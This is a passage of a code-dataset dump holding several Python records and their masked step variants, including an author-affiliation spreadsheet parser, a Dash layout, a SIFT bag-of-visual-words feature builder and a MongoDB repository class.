manual_id, author_name, affiliation_name])\n\n return separated_authors_list\n\n def separated_by_semicolon(self, source_id, manual_id, authors_list, affiliations_list):\n separated_authors_list = []\n\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n try:\n affiliation_name = affiliations_list[iter].strip(',.- ')\n except:\n affiliation_name = ''\n separated_authors_list.append([source_id, manual_id, author_name, affiliation_name])\n\n return separated_authors_list\n\n\n def common_affiliation(self, source_id, manual_id, authors_list, affiliations_list):\n separated_authors_list = []\n\n for iter in range(len(authors_list)):\n author_name = authors_list[iter].strip(',.-; ')\n affiliation_name = affiliations_list[0].strip(',.- ')\n print(affiliation_name)\n separated_authors_list.append([source_id, manual_id, author_name, affiliation_name])\n\n return separated_authors_list\n\n def process_pairtron(self, sheet):\n source_df = self.source_df\n source_df = source_df[source_df['authors'].notnull()]\n source_id_list = source_df['source_id'].fillna('').tolist()\n manual_id_list = source_df['manual_id'].fillna('').tolist()\n authors_list = source_df['authors'].tolist()\n affiliation_list = source_df['author_affiliation'].fillna('').tolist()\n pairtron_list = []\n\n for iter in range(len(authors_list)):\n #print(iter, manual_id_list[iter])\n author_tokens = [elem.strip() for elem in authors_list[iter].split(';')]\n affiliation_tokens = [elem.strip() for elem in affiliation_list[iter].split(';')]\n try:\n if author_tokens[0][-1].isdigit() and '1' in affiliation_list[iter]:\n pairtron_list.extend(self.separated_by_number(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens))\n elif len(author_tokens) == len(affiliation_tokens):\n pairtron_list.extend(self.separated_by_semicolon(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens))\n elif author_tokens[0][-1].isdigit() and '1' not in affiliation_list[iter]:\n cprint(\"ALERT: manual_id: {} has missing affiliations.\".format(manual_id_list[iter]), 'red', attrs=['bold'])\n else:\n pairtron_list.extend(self.common_affiliation(source_id_list[iter], manual_id_list[iter], author_tokens, affiliation_tokens))\n except:\n pass\n df = pd.DataFrame(pairtron_list, columns=['source_id', 'manual_id', 'authors', 'author_affiliation'])\n df.drop_duplicates(inplace = True)\n authorsInfo_list = df.values.tolist()\n wb = load_workbook(filename=self.dest_file)\n ws = wb[sheet]\n for row_iter in range(len(authorsInfo_list)):\n for col_iter in range(len(authorsInfo_list[row_iter])):\n ws.cell(row=row_iter+2, column=col_iter+1).value = authorsInfo_list[row_iter][col_iter]\n wb.save(self.dest_file)\n\n def processData(self, source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns):\n self.process_merger(source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns)\n self.process_pairtron(sheets[1])\n\nif __name__ == \"__main__\":\n\n start = datetime.now()\n print (\"Script Start Time \",start)\n print (\"Script Running.....\\n\")\n\n parser = ConfigParser()\n parser.read('pairtron_config.ini')\n\n source_file = parser.get('dynamic_fields', 'source_file')\n acronym = parser.get('dynamic_fields', 'ACRONYM')\n merge = parser.get('dynamic_fields', 'merge')\n merge_columns = [elem.strip() for elem in parser.get('dynamic_fields', 'merge_columns').split(',')]\n template = parser.get('static_fields', 'template')\n sheets = parser.get('static_fields', 'sheets').split(',')\n indexed_files_dir = parser.get('static_fields', 'indexed_files_dir')\n columns = parser.get('static_fields', 'columns').split(',')\n\n obj = pairtron()\n obj.processData(source_file, acronym, merge, template, sheets, indexed_files_dir, columns, merge_columns)\n\n total_time = datetime.now() - start\n print (\"\\nScript End Time \",datetime.now())\n print (\"Execution Time\", total_time)", "step-ids": [ 9, 10, 12, 13, 15 ] }
[ 9, 10, 12, 13, 15 ]
individual = html.Div([ html.Div([ # input container html.Div([ dcc.RadioItems(id='view-radio', options=[ {'label': i, 'value': i} for i in ['Players', 'Teams'] ], value='Players' ) ]), html.Div([ dcc.Dropdown(id='drop-input') ]), ], className='two columns'), html.Div([ # visuals container html.Div([ # pic column container html.H6(id='name-header') dcc.Image(), # team or player image ], className='two columns'), html.Div([ # data container html.Div([ # graph dcc.Graph() ]), html.Div([ # table dash_table.datatable() ]) ]) ], className='eight columns') ]) @app.callback( Output('drop-input', 'options'), [Input('view-radio', 'value')] ) def update_dropdown(selection): if selection == 'Players': return [{'label': i, 'value':i} for i in active_players] if selection == 'Teams': return [{'label': i, 'value':i} for i in active_teams]
normal
{ "blob_id": "6c65d63ef07b6cdb2029e6a6e99f6ee35b448c4b", "index": 3147, "step-1": "individual = html.Div([\n\n html.Div([ # input container\n \n html.Div([\n dcc.RadioItems(id='view-radio',\n options=[\n {'label': i, 'value': i} for i in ['Players',\n 'Teams']\n ],\n value='Players'\n )\n ]),\n html.Div([\n dcc.Dropdown(id='drop-input')\n ]),\n ], className='two columns'),\n \n html.Div([ # visuals container\n \n html.Div([ # pic column container\n html.H6(id='name-header')\n dcc.Image(), # team or player image\n ], className='two columns'),\n \n html.Div([ # data container\n html.Div([ # graph\n dcc.Graph()\n ]),\n html.Div([ # table\n dash_table.datatable()\n ])\n ])\n ], className='eight columns')\n])\n\n@app.callback(\n Output('drop-input', 'options'),\n [Input('view-radio', 'value')]\n)\ndef update_dropdown(selection):\n if selection == 'Players':\n return [{'label': i, 'value':i} for i in active_players]\n if selection == 'Teams':\n return [{'label': i, 'value':i} for i in active_teams]", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('platform: ' + sys.platform + '\n' + 'maxsize: ' + str(sys.maxsize) + '\n' + 'argv: ' + str(sys.argv)) print('Process ID: ' + str(os.getpid()) + '\n' + 'cwd: ' + os.getcwd() + '\n' + 'login id: ' + os.getlogin()) <|reserved_special_token_1|> import sys import os print('platform: ' + sys.platform + '\n' + 'maxsize: ' + str(sys.maxsize) + '\n' + 'argv: ' + str(sys.argv)) print('Process ID: ' + str(os.getpid()) + '\n' + 'cwd: ' + os.getcwd() + '\n' + 'login id: ' + os.getlogin()) <|reserved_special_token_1|> import sys import os # Module "sys" # # See docs for the sys module: https://docs.python.org/3.7/library/sys.html # Print out the command line arguments in sys.argv, one per line: # Print out the plaform from sys: # for arg in sys.argv: # print(arg) # Print out the Python version from sys:print(sys.platform) # print(sys, sep="\n", sys.path) print("platform: "+sys.platform + "\n" + "maxsize: "+str(sys.maxsize) + "\n" + "argv: "+str(sys.argv)) # # Module "os" # # # # See the docs for the OS module: https://docs.python.org/3.7/library/os.html # # Print the current process ID print("Process ID: "+ str(os.getpid()) + "\n" + "cwd: " + os.getcwd() + "\n" + "login id: " + os.getlogin()) # # Print the current working directory (cwd): # print() # # Print your login name # print()
flexible
{ "blob_id": "3fed96e9bedb157a14cf9c441de5aae8b4f6edc8", "index": 8664, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('platform: ' + sys.platform + '\\n' + 'maxsize: ' + str(sys.maxsize) +\n '\\n' + 'argv: ' + str(sys.argv))\nprint('Process ID: ' + str(os.getpid()) + '\\n' + 'cwd: ' + os.getcwd() +\n '\\n' + 'login id: ' + os.getlogin())\n", "step-3": "import sys\nimport os\nprint('platform: ' + sys.platform + '\\n' + 'maxsize: ' + str(sys.maxsize) +\n '\\n' + 'argv: ' + str(sys.argv))\nprint('Process ID: ' + str(os.getpid()) + '\\n' + 'cwd: ' + os.getcwd() +\n '\\n' + 'login id: ' + os.getlogin())\n", "step-4": "import sys\nimport os\n\n# Module \"sys\"\n#\n# See docs for the sys module: https://docs.python.org/3.7/library/sys.html\n\n# Print out the command line arguments in sys.argv, one per line:\n\n\n# Print out the plaform from sys:\n# for arg in sys.argv:\n# print(arg)\n\n\n# Print out the Python version from sys:print(sys.platform)\n# print(sys, sep=\"\\n\", sys.path)\nprint(\"platform: \"+sys.platform + \"\\n\" + \"maxsize: \"+str(sys.maxsize) + \"\\n\" + \"argv: \"+str(sys.argv))\n\n\n\n\n# # Module \"os\"\n# #\n# # See the docs for the OS module: https://docs.python.org/3.7/library/os.html\n\n# # Print the current process ID\nprint(\"Process ID: \"+ str(os.getpid()) + \"\\n\" + \"cwd: \" + os.getcwd() + \"\\n\" + \"login id: \" + os.getlogin())\n\n# # Print the current working directory (cwd):\n# print()\n\n# # Print your login name\n# print()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
from datetime import datetime import cv2 import numpy as np from sklearn.cluster import KMeans,MiniBatchKMeans class FeatureGetter(object): def __init__(self): self.sift_det = cv2.xfeatures2d.SIFT_create() def get_img(self, img_path): img = cv2.imread(img_path) return img def get_feature(self, img_path): img = cv2.imread(img_path) gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY) kp, des = self.sift_det.detectAndCompute(gray, None) return kp, des class FeaturesBuilder(object): def __init__(self,num_words,img_paths,dataset_matrix=None): self.num_words = num_words #聚类中心 self.img_paths =img_paths self.dataset_matrix =dataset_matrix #dataset_matrix:图像数据的矩阵表示 注:img_paths dataset_matrix这两个参数只需要指定一个 def getClusterCentures(self): start_time = datetime.now() # 测试时间 feature_getter = FeatureGetter() des_list = [] # 特征描述 des_matrix = np.zeros((1, 128)) if self.img_paths != None: for path in self.img_paths: # kp表示输入的关键点,des表示输出的sift特征向量,通常是128维的。 检测发现是N*128,N是变动的 kp, des = feature_getter.get_feature(path) if des.any() != None: des_matrix = np.row_stack((des_matrix, des)) des_list.append(des) elif self.dataset_matrix != None: for gray in range(self.dataset_matrix.shape[0]): sift_det = cv2.xfeatures2d.SIFT_create() kp, des = sift_det.detectAndCompute(gray, None) if des != None: des_matrix = np.row_stack((des_matrix, des)) des_list.append(des) else: raise ValueError('输入不合法') des_matrix = des_matrix[1:, :] # the des matrix of sift # 计算聚类中心 构造视觉单词词典 # kmeans = KMeans(n_clusters=self.num_words , random_state=33) kmeans = MiniBatchKMeans(n_clusters=self.num_words , batch_size=200, random_state= 33) #MiniBatchKMeans 加速优化 kmeans.fit(des_matrix) centres = kmeans.cluster_centers_ # 视觉聚类中心 elapsed_time = datetime.now() - start_time # 需要的时间 print(" 获取聚类中心total_time ", elapsed_time, ) return centres, des_list # class GetFeatures(object): # 将特征描述转换为特征向量 def des2feature(self,des, NUM_WORDS, centures): # des:单幅图像的SIFT特征描述 centures:聚类中心坐标 centures:聚类中心坐标 NUM_WORDS*128 # return: feature vector 1*NUM_WORDS img_feature_vec = np.zeros((1, NUM_WORDS), 'float32') for i in range(des.shape[0]): # 遍历所有图片 feature_k_rows = np.ones((NUM_WORDS, 128), 'float32') feature = des[i] feature_k_rows = feature_k_rows * feature feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1) index = np.argmax(feature_k_rows) img_feature_vec[0][index] += 1 return img_feature_vec # 获取所有图片的特征向量 def get_all_features(self,des_list, num_word,centres): # start_time = datetime.now() # 测试时间 allvec = np.zeros((len(des_list), num_word), 'float32') for i in range(len(des_list)): if des_list[i].any() != None: allvec[i] = self.des2feature(des_list[i], num_word,centres) # elapsed_time = datetime.now() - start_time # 需要的时间 # print(" 将特征描述转换为特征向量total_time ", elapsed_time, ) return allvec
normal
{ "blob_id": "630011b188548df9e55b6f1ddbefa08e322b9cba", "index": 169, "step-1": "<mask token>\n\n\nclass FeaturesBuilder(object):\n <mask token>\n\n def getClusterCentures(self):\n start_time = datetime.now()\n feature_getter = FeatureGetter()\n des_list = []\n des_matrix = np.zeros((1, 128))\n if self.img_paths != None:\n for path in self.img_paths:\n kp, des = feature_getter.get_feature(path)\n if des.any() != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n elif self.dataset_matrix != None:\n for gray in range(self.dataset_matrix.shape[0]):\n sift_det = cv2.xfeatures2d.SIFT_create()\n kp, des = sift_det.detectAndCompute(gray, None)\n if des != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n else:\n raise ValueError('输入不合法')\n des_matrix = des_matrix[1:, :]\n kmeans = MiniBatchKMeans(n_clusters=self.num_words, batch_size=200,\n random_state=33)\n kmeans.fit(des_matrix)\n centres = kmeans.cluster_centers_\n elapsed_time = datetime.now() - start_time\n print(' 获取聚类中心total_time ', elapsed_time)\n return centres, des_list\n\n\nclass GetFeatures(object):\n\n def des2feature(self, des, NUM_WORDS, centures):\n img_feature_vec = np.zeros((1, NUM_WORDS), 'float32')\n for i in range(des.shape[0]):\n feature_k_rows = np.ones((NUM_WORDS, 128), 'float32')\n feature = des[i]\n feature_k_rows = feature_k_rows * feature\n feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1)\n index = np.argmax(feature_k_rows)\n img_feature_vec[0][index] += 1\n return img_feature_vec\n\n def get_all_features(self, des_list, num_word, centres):\n allvec = np.zeros((len(des_list), num_word), 'float32')\n for i in range(len(des_list)):\n if des_list[i].any() != None:\n allvec[i] = self.des2feature(des_list[i], num_word, centres)\n return allvec\n", "step-2": "<mask token>\n\n\nclass FeatureGetter(object):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass FeaturesBuilder(object):\n\n def __init__(self, num_words, img_paths, dataset_matrix=None):\n self.num_words = num_words\n self.img_paths = img_paths\n self.dataset_matrix = dataset_matrix\n\n def getClusterCentures(self):\n start_time = datetime.now()\n feature_getter = FeatureGetter()\n des_list = []\n des_matrix = np.zeros((1, 128))\n if self.img_paths != None:\n for path in self.img_paths:\n kp, des = feature_getter.get_feature(path)\n if des.any() != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n elif self.dataset_matrix != None:\n for gray in range(self.dataset_matrix.shape[0]):\n sift_det = cv2.xfeatures2d.SIFT_create()\n kp, des = sift_det.detectAndCompute(gray, None)\n if des != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n else:\n raise ValueError('输入不合法')\n des_matrix = des_matrix[1:, :]\n kmeans = MiniBatchKMeans(n_clusters=self.num_words, batch_size=200,\n random_state=33)\n kmeans.fit(des_matrix)\n centres = kmeans.cluster_centers_\n elapsed_time = datetime.now() - start_time\n print(' 获取聚类中心total_time ', elapsed_time)\n return centres, des_list\n\n\nclass GetFeatures(object):\n\n def des2feature(self, des, NUM_WORDS, centures):\n img_feature_vec = np.zeros((1, NUM_WORDS), 'float32')\n for i in range(des.shape[0]):\n feature_k_rows = np.ones((NUM_WORDS, 128), 'float32')\n feature = des[i]\n feature_k_rows = feature_k_rows * feature\n feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1)\n index = np.argmax(feature_k_rows)\n img_feature_vec[0][index] += 1\n return img_feature_vec\n\n def get_all_features(self, des_list, num_word, centres):\n allvec = np.zeros((len(des_list), num_word), 'float32')\n for i in range(len(des_list)):\n if des_list[i].any() != None:\n allvec[i] = self.des2feature(des_list[i], num_word, centres)\n return allvec\n", "step-3": "<mask token>\n\n\nclass FeatureGetter(object):\n <mask token>\n\n def get_img(self, img_path):\n img = cv2.imread(img_path)\n return img\n <mask token>\n\n\nclass FeaturesBuilder(object):\n\n def __init__(self, num_words, img_paths, dataset_matrix=None):\n self.num_words = num_words\n self.img_paths = img_paths\n self.dataset_matrix = dataset_matrix\n\n def getClusterCentures(self):\n start_time = datetime.now()\n feature_getter = FeatureGetter()\n des_list = []\n des_matrix = np.zeros((1, 128))\n if self.img_paths != None:\n for path in self.img_paths:\n kp, des = feature_getter.get_feature(path)\n if des.any() != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n elif self.dataset_matrix != None:\n for gray in range(self.dataset_matrix.shape[0]):\n sift_det = cv2.xfeatures2d.SIFT_create()\n kp, des = sift_det.detectAndCompute(gray, None)\n if des != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n else:\n raise ValueError('输入不合法')\n des_matrix = des_matrix[1:, :]\n kmeans = MiniBatchKMeans(n_clusters=self.num_words, batch_size=200,\n random_state=33)\n kmeans.fit(des_matrix)\n centres = kmeans.cluster_centers_\n elapsed_time = datetime.now() - start_time\n print(' 获取聚类中心total_time ', elapsed_time)\n return centres, des_list\n\n\nclass GetFeatures(object):\n\n def des2feature(self, des, NUM_WORDS, centures):\n img_feature_vec = np.zeros((1, NUM_WORDS), 'float32')\n for i in range(des.shape[0]):\n feature_k_rows = np.ones((NUM_WORDS, 128), 'float32')\n feature = des[i]\n feature_k_rows = feature_k_rows * feature\n feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1)\n index = np.argmax(feature_k_rows)\n img_feature_vec[0][index] += 1\n return img_feature_vec\n\n def get_all_features(self, des_list, num_word, centres):\n allvec = np.zeros((len(des_list), num_word), 'float32')\n for i in range(len(des_list)):\n if des_list[i].any() != None:\n allvec[i] = self.des2feature(des_list[i], num_word, centres)\n return allvec\n", "step-4": "<mask token>\n\n\nclass FeatureGetter(object):\n\n def __init__(self):\n self.sift_det = cv2.xfeatures2d.SIFT_create()\n\n def get_img(self, img_path):\n img = cv2.imread(img_path)\n return img\n\n def get_feature(self, img_path):\n img = cv2.imread(img_path)\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n kp, des = self.sift_det.detectAndCompute(gray, None)\n return kp, des\n\n\nclass FeaturesBuilder(object):\n\n def __init__(self, num_words, img_paths, dataset_matrix=None):\n self.num_words = num_words\n self.img_paths = img_paths\n self.dataset_matrix = dataset_matrix\n\n def getClusterCentures(self):\n start_time = datetime.now()\n feature_getter = FeatureGetter()\n des_list = []\n des_matrix = np.zeros((1, 128))\n if self.img_paths != None:\n for path in self.img_paths:\n kp, des = feature_getter.get_feature(path)\n if des.any() != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n elif self.dataset_matrix != None:\n for gray in range(self.dataset_matrix.shape[0]):\n sift_det = cv2.xfeatures2d.SIFT_create()\n kp, des = sift_det.detectAndCompute(gray, None)\n if des != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n else:\n raise ValueError('输入不合法')\n des_matrix = des_matrix[1:, :]\n kmeans = MiniBatchKMeans(n_clusters=self.num_words, batch_size=200,\n random_state=33)\n kmeans.fit(des_matrix)\n centres = kmeans.cluster_centers_\n elapsed_time = datetime.now() - start_time\n print(' 获取聚类中心total_time ', elapsed_time)\n return centres, des_list\n\n\nclass GetFeatures(object):\n\n def des2feature(self, des, NUM_WORDS, centures):\n img_feature_vec = np.zeros((1, NUM_WORDS), 'float32')\n for i in range(des.shape[0]):\n feature_k_rows = np.ones((NUM_WORDS, 128), 'float32')\n feature = des[i]\n feature_k_rows = feature_k_rows * feature\n feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1)\n index = np.argmax(feature_k_rows)\n img_feature_vec[0][index] += 1\n return img_feature_vec\n\n def get_all_features(self, des_list, num_word, centres):\n allvec = np.zeros((len(des_list), num_word), 'float32')\n for i in range(len(des_list)):\n if des_list[i].any() != None:\n allvec[i] = self.des2feature(des_list[i], num_word, centres)\n return allvec\n", "step-5": "from datetime import datetime\nimport cv2\nimport numpy as np\nfrom sklearn.cluster import KMeans,MiniBatchKMeans\nclass FeatureGetter(object):\n def __init__(self):\n self.sift_det = cv2.xfeatures2d.SIFT_create()\n def get_img(self, img_path):\n img = cv2.imread(img_path)\n return img\n def get_feature(self, img_path):\n img = cv2.imread(img_path)\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n kp, des = self.sift_det.detectAndCompute(gray, None)\n\n return kp, des\n\nclass FeaturesBuilder(object):\n def __init__(self,num_words,img_paths,dataset_matrix=None):\n self.num_words = num_words #聚类中心\n self.img_paths =img_paths\n self.dataset_matrix =dataset_matrix #dataset_matrix:图像数据的矩阵表示 注:img_paths dataset_matrix这两个参数只需要指定一个\n def getClusterCentures(self):\n start_time = datetime.now() # 测试时间\n feature_getter = FeatureGetter()\n des_list = [] # 特征描述\n des_matrix = np.zeros((1, 128))\n if self.img_paths != None:\n for path in self.img_paths:\n # kp表示输入的关键点,des表示输出的sift特征向量,通常是128维的。 检测发现是N*128,N是变动的\n kp, des = feature_getter.get_feature(path)\n if des.any() != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n elif self.dataset_matrix != None:\n for gray in range(self.dataset_matrix.shape[0]):\n sift_det = cv2.xfeatures2d.SIFT_create()\n kp, des = sift_det.detectAndCompute(gray, None)\n if des != None:\n des_matrix = np.row_stack((des_matrix, des))\n des_list.append(des)\n else:\n raise ValueError('输入不合法')\n des_matrix = des_matrix[1:, :] # the des matrix of sift\n # 计算聚类中心 构造视觉单词词典\n # kmeans = KMeans(n_clusters=self.num_words , random_state=33)\n kmeans = MiniBatchKMeans(n_clusters=self.num_words , batch_size=200, random_state= 33) #MiniBatchKMeans 加速优化\n kmeans.fit(des_matrix)\n centres = kmeans.cluster_centers_ # 视觉聚类中心\n elapsed_time = datetime.now() - start_time # 需要的时间\n print(\" 获取聚类中心total_time \", elapsed_time, )\n return centres, des_list\n #\n\nclass GetFeatures(object):\n # 将特征描述转换为特征向量\n def des2feature(self,des, NUM_WORDS, centures):\n # des:单幅图像的SIFT特征描述 centures:聚类中心坐标 centures:聚类中心坐标 NUM_WORDS*128\n # return: feature vector 1*NUM_WORDS\n img_feature_vec = np.zeros((1, NUM_WORDS), 'float32')\n for i in range(des.shape[0]): # 遍历所有图片\n feature_k_rows = np.ones((NUM_WORDS, 128), 'float32')\n feature = des[i]\n feature_k_rows = feature_k_rows * feature\n feature_k_rows = np.sum((feature_k_rows - centures) ** 2, 1)\n index = np.argmax(feature_k_rows)\n img_feature_vec[0][index] += 1\n return img_feature_vec\n\n\n # 获取所有图片的特征向量\n def get_all_features(self,des_list, num_word,centres):\n # start_time = datetime.now() # 测试时间\n allvec = np.zeros((len(des_list), num_word), 'float32')\n for i in range(len(des_list)):\n if des_list[i].any() != None:\n allvec[i] = self.des2feature(des_list[i], num_word,centres)\n # elapsed_time = datetime.now() - start_time # 需要的时间\n # print(\" 将特征描述转换为特征向量total_time \", elapsed_time, )\n return allvec\n", "step-ids": [ 5, 7, 8, 10, 12 ] }
[ 5, 7, 8, 10, 12 ]
<|reserved_special_token_0|> class WellRepository: <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class WellRepository: <|reserved_special_token_0|> def __init__(self, db): self._db = db def list(self) ->List[Well]: return [self.schema.load(doc) for doc in self._db.wells.find({})] def save_many(self, wells: List[Well]): self._db.wells.insert_many([self.schema.dump(well) for well in wells]) def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[ Well]: return [self.schema.load(doc) for doc in self._db.wells.find({ 'facility.lifecycle.name': {'$in': [status.value for status in statuses]}})] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class WellRepository: schema = WellPersistenceSchema() def __init__(self, db): self._db = db def list(self) ->List[Well]: return [self.schema.load(doc) for doc in self._db.wells.find({})] def save_many(self, wells: List[Well]): self._db.wells.insert_many([self.schema.dump(well) for well in wells]) def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[ Well]: return [self.schema.load(doc) for doc in self._db.wells.find({ 'facility.lifecycle.name': {'$in': [status.value for status in statuses]}})] def find_well_by_facility_id(self, identifier: str) ->Optional[Well]: doc = self._db.wells.find_one({'facility.id': identifier}) if doc: return self.schema.load(doc) <|reserved_special_token_1|> from typing import List, Optional from backend.domain.well import FacilityState, Well from backend.repository.persistence.well import WellPersistenceSchema class WellRepository: schema = WellPersistenceSchema() def __init__(self, db): self._db = db def list(self) ->List[Well]: return [self.schema.load(doc) for doc in self._db.wells.find({})] def save_many(self, wells: List[Well]): self._db.wells.insert_many([self.schema.dump(well) for well in wells]) def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[ Well]: return [self.schema.load(doc) for doc in self._db.wells.find({ 'facility.lifecycle.name': {'$in': [status.value for status in statuses]}})] def find_well_by_facility_id(self, identifier: str) ->Optional[Well]: doc = self._db.wells.find_one({'facility.id': identifier}) if doc: return self.schema.load(doc) <|reserved_special_token_1|> from typing import List, Optional from backend.domain.well import FacilityState, Well from backend.repository.persistence.well import WellPersistenceSchema class WellRepository: schema = WellPersistenceSchema() def __init__(self, db): self._db = db def list(self) -> List[Well]: return [self.schema.load(doc) for doc in self._db.wells.find({})] def save_many(self, wells: List[Well]): self._db.wells.insert_many([self.schema.dump(well) for well in wells]) def filter_by_facility_status(self, statuses: List[FacilityState]) -> List[Well]: return [ self.schema.load(doc) for doc in self._db.wells.find({"facility.lifecycle.name": {"$in": [status.value for status in statuses]}}) ] def find_well_by_facility_id(self, identifier: str) -> Optional[Well]: doc = self._db.wells.find_one({"facility.id": identifier}) if doc: return self.schema.load(doc)
flexible
{ "blob_id": "5a181b0c22faa47c6c887daac675dd7374037f30", "index": 3056, "step-1": "<mask token>\n\n\nclass WellRepository:\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass WellRepository:\n <mask token>\n\n def __init__(self, db):\n self._db = db\n\n def list(self) ->List[Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({})]\n\n def save_many(self, wells: List[Well]):\n self._db.wells.insert_many([self.schema.dump(well) for well in wells])\n\n def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[\n Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({\n 'facility.lifecycle.name': {'$in': [status.value for status in\n statuses]}})]\n <mask token>\n", "step-3": "<mask token>\n\n\nclass WellRepository:\n schema = WellPersistenceSchema()\n\n def __init__(self, db):\n self._db = db\n\n def list(self) ->List[Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({})]\n\n def save_many(self, wells: List[Well]):\n self._db.wells.insert_many([self.schema.dump(well) for well in wells])\n\n def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[\n Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({\n 'facility.lifecycle.name': {'$in': [status.value for status in\n statuses]}})]\n\n def find_well_by_facility_id(self, identifier: str) ->Optional[Well]:\n doc = self._db.wells.find_one({'facility.id': identifier})\n if doc:\n return self.schema.load(doc)\n", "step-4": "from typing import List, Optional\nfrom backend.domain.well import FacilityState, Well\nfrom backend.repository.persistence.well import WellPersistenceSchema\n\n\nclass WellRepository:\n schema = WellPersistenceSchema()\n\n def __init__(self, db):\n self._db = db\n\n def list(self) ->List[Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({})]\n\n def save_many(self, wells: List[Well]):\n self._db.wells.insert_many([self.schema.dump(well) for well in wells])\n\n def filter_by_facility_status(self, statuses: List[FacilityState]) ->List[\n Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({\n 'facility.lifecycle.name': {'$in': [status.value for status in\n statuses]}})]\n\n def find_well_by_facility_id(self, identifier: str) ->Optional[Well]:\n doc = self._db.wells.find_one({'facility.id': identifier})\n if doc:\n return self.schema.load(doc)\n", "step-5": "from typing import List, Optional\n\nfrom backend.domain.well import FacilityState, Well\nfrom backend.repository.persistence.well import WellPersistenceSchema\n\n\nclass WellRepository:\n schema = WellPersistenceSchema()\n\n def __init__(self, db):\n self._db = db\n\n def list(self) -> List[Well]:\n return [self.schema.load(doc) for doc in self._db.wells.find({})]\n\n def save_many(self, wells: List[Well]):\n self._db.wells.insert_many([self.schema.dump(well) for well in wells])\n\n def filter_by_facility_status(self, statuses: List[FacilityState]) -> List[Well]:\n return [\n self.schema.load(doc)\n for doc in self._db.wells.find({\"facility.lifecycle.name\": {\"$in\": [status.value for status in statuses]}})\n ]\n\n def find_well_by_facility_id(self, identifier: str) -> Optional[Well]:\n doc = self._db.wells.find_one({\"facility.id\": identifier})\n if doc:\n return self.schema.load(doc)\n", "step-ids": [ 1, 5, 7, 8, 9 ] }
[ 1, 5, 7, 8, 9 ]
aax=int(input("enter aa-x")) aay=int(input("enter aa-y")) bbx=int(input("enter bb-x")) bby=int(input("enter bb-y")) ccx=int(input("enter cc-x")) ccy=int(input("enter cc-y")) ddx=int(input("enter dd-x")) ddy=int(input("enter dd-y")) if aax==aay and aay==bbx and bby==ccx and ccx==ccy and ccy==ddx and ddy==aax: print("yes") else: print("no")
normal
{ "blob_id": "bd0cc8cf059440f8fd7ad135894d82c9b18ebc80", "index": 4583, "step-1": "<mask token>\n", "step-2": "<mask token>\nif aax == aay and aay == bbx and bby == ccx and ccx == ccy and ccy == ddx and ddy == aax:\n print('yes')\nelse:\n print('no')\n", "step-3": "aax = int(input('enter aa-x'))\naay = int(input('enter aa-y'))\nbbx = int(input('enter bb-x'))\nbby = int(input('enter bb-y'))\nccx = int(input('enter cc-x'))\nccy = int(input('enter cc-y'))\nddx = int(input('enter dd-x'))\nddy = int(input('enter dd-y'))\nif aax == aay and aay == bbx and bby == ccx and ccx == ccy and ccy == ddx and ddy == aax:\n print('yes')\nelse:\n print('no')\n", "step-4": "aax=int(input(\"enter aa-x\"))\naay=int(input(\"enter aa-y\"))\nbbx=int(input(\"enter bb-x\"))\nbby=int(input(\"enter bb-y\"))\nccx=int(input(\"enter cc-x\"))\nccy=int(input(\"enter cc-y\"))\nddx=int(input(\"enter dd-x\"))\nddy=int(input(\"enter dd-y\"))\nif aax==aay and aay==bbx and bby==ccx and ccx==ccy and ccy==ddx and ddy==aax:\n print(\"yes\")\nelse:\n print(\"no\")\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> def solution(A): if not A: return 1 elif len(A) == 1: if A[0] == 1: return 2 else: return 1 A.sort() prev = 0 for i in A: if i != prev + 1: return i - 1 else: prev = i return prev + 1 <|reserved_special_token_1|> def solution(A): if not A: return 1 elif len(A) == 1: if A[0] == 1: return 2 else: return 1 A.sort() prev = 0 for i in A: if i != (prev + 1): return i - 1 else: prev = i return prev + 1
flexible
